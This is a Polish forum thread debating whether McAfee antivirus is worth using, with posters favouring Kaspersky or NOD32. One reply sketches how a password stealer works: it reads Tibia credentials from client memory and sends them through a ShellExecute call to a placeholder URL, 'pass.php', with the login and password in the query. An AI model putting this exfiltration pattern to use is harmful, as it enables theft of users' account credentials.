McAffe

[Diddy]

Co sądzicie o tym antivirze ?

[Tompior]

jest cienki, uzywaj kasperskiego albo noda32

[Shein Silvershadow]

Oryginalnie napisane przez Tompior

jest cienki, uzywaj kasperskiego albo noda32

Akurat. W moim wypadku McAfee jeszcze NIC nie przepuścił. Przez kilka lat używania nie miałem ani jednego wirusa.

[Tompior]

@shein

Jesli twierdzisz ze McAffe jest lepsze od kasperskiego i noda to gratuluje.

(jak sie nie chodzi po dziwnych stronach w necie i nie sciaga sie podejzanych plikow to nawet kiepski antyvir starczy)

[Shein Silvershadow]

Oryginalnie napisane przez Tompior

@shein

Jesli twierdzisz ze McAffe jest lepsze od kasperskiego i noda to gratuluje.

(jak sie nie chodzi po dziwnych stronach w necie i nie sciaga sie podejzanych plikow to nawet kiepski antyvir starczy)

McAfee, nie McAffe.

I nie raz zdarzyło mi się pobrać plik z keyloggerem, czy też wejść na stronę pełną trojanów

Każdy antyvir to jedno i to samo ścierwo

Akurat. W moim wypadku McAfee jeszcze NIC nie przepuścił. Przez kilka lat używania nie miałem ani jednego wirusa.

Typowe

A czy jak by przepuścił, wiedział byś o tym
Haker to nie lama i nie implementuje funkcj cdopen() czy mesagebox()...
Ściągnie co chce i papa, nawet nie będziesz wiedział że z twojego ip DoSuje microsoft, tylko 'kurde, czemu mam takie lagi?? to pewnie wina TEPSY!!'.

I nie raz zdarzyło mi się pobrać plik z keyloggerem, czy też wejść na stronę pełną trojanów

Człowieku, keyloggery to przeżytek. Ty myślisz, że ktoś będzie cały dzień czytał gigabajty logów?
Ściągasz i odpalasz plik, program czyta z pamięci klienta tibii passy, uruchamia shellexecutem "explorer***** http://stronka.com/pass.php?a='twoj_login_to_tibii'&b='twoj_pass_do_t ibii'". I już masz po koncie


Co do pytania autora, to nie. Szkoda ramu.


Lepiej zainstaluj firewalla. Chociarz jak masz zewnętrzne i zmienne ip, to systemowy ci wystarczy .